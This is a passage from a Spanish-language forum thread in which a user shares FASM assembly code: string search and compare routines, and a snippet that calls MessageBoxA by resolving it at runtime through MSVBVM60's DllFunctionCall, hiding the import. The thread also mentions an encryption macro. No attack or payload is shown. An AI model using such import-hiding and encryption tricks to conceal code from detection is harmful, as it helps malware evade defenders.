  91. mov ebx,[c2]
  92. dec edx
  93. inc esi
  94. .bucle:
  95. dec esi
  96. inc edx
  97. mov cl,byte[edx+edi]
  98. mov byte[edx+edi],0
  99. stdcall comparar,edx,[c2]
  100. mov byte[edx+edi],cl
  101. .if eax = 0
  102. mov eax,edx
  103. jmp .salir
  104. .endif
  105. cmp esi,0
  106. jne .bucle
  107. .Falso:
  108. mov eax,FALSE
  109. .salir:
  110. pop edx ecx ebx esi edi
  111. ret
  112. endp
  113. proc comparar ,SRC,DST ;Funcion que compara
  114. push edi ecx esi
  115. mov ecx,-1
  116. mov edi,[SRC]
  117. mov al,0
  118. repnz scasb
  119. mov eax,ecx
  120. not eax
  121. mov ecx,eax
  122. mov esi,[SRC]
  123. mov edi,[DST]
  124. repz cmpsb
  125. mov eax,1
  126. jnz Next
  127. dec eax
  128. Next:
  129. pop esi ecx edi
  130. ret
  131. endp
  132. proc Len,cCadena   ;Funcion que mide la cadena
  133. push ecx edi
  134. mov ecx,-1
  135. mov edi,[cCadena]
  136. mov al,0
  137. repnz scasb
  138. mov eax,ecx
  139. not eax
  140. dec eax
  141. pop edi ecx
  142. ret
  143. endp
  144. .end start


Título: Re: Recopilación de mis codigos.
Publicado por: YST en 30 Julio 2009, 06:00 am
Se mejoro la funcion  GetAddressFunction :P .


Título: Re: Recopilación de mis codigos.
Publicado por: JorGe[xD] en 9 Agosto 2009, 00:47 am

Tanto sabes ? O.o

por eso respondeme en el tema si as leido mas libros de asm...

:P


Título: Re: Recopilación de mis codigos.
Publicado por: YST en 24 Agosto 2009, 17:49 pm
Código
  1. ;Traducido por YST , codigo original por Karcrack
  2. include 'win32ax.inc'
  3.  
  4. .code
  5. start:
  6. stdcall ConseguirApi,Libreria,yapi
  7. stdcall eax,0,0,0,0
  8. invoke ExitProcess
  9. proc ConseguirApi,pLib,pProc
  10. locals
  11. struct tAPICall
  12.    ptsLIB              dd ?  ; Pointer to ANSI String that contains Library
  13.    ptsProc             dd ?  ; Pointer to ANSI String that contains Procedure
  14.    lReserved           dd ?  ; Just reserved...
  15.    lPointer            dd ?  ; Pointer to the buffer that will contain temp variables from DllFunctionCall
  16.    lpBuffer            dd 4 dup (0); Buffer that will contain temp variables
  17. ends
  18. tAPI tAPICall
  19. endl
  20. push [pLib]
  21. pop [tAPI.ptsLIB]
  22. push [pProc]
  23. pop [tAPI.ptsProc]
  24. mov [tAPI.lReserved],40000h
  25. lea eax,[tAPI.lPointer]
  26. mov [tAPI.lPointer],eax
  27. invoke DllFunctionCall,addr tAPI
  28. ret
  29. endp
  30.  
  31. .data
  32. Libreria db  "user32.dll"      ,0
  33. yapi db "MessageBoxA",0
  34.  
  35.  section '.idata' import data readable writeable
  36.  library kernel32,'kernel32.dll',MSVBVM60,'MSVBVM60'
  37.  include 'api/kernel32.inc'
  38.  import MSVBVM60,DllFunctionCall,'DllFunctionCall'
  39.  


Título: Re: Recopilación de mis codigos.
Publicado por: YST en 20 Septiembre 2009, 05:35 am
Se agrego una macro a la cifrado YST para poder usar la encriptacion antes de ensamblar :P


Título: Re: Recopilación de mis codigos.
Publicado por: Jaixon Jax en 20 Septiembre 2009, 05:38 am
 :rolleyes:

  Por dios no habia visto este rincon de seguro debe ser el humilde rincon de YST  :laugh:

Aprendiendo......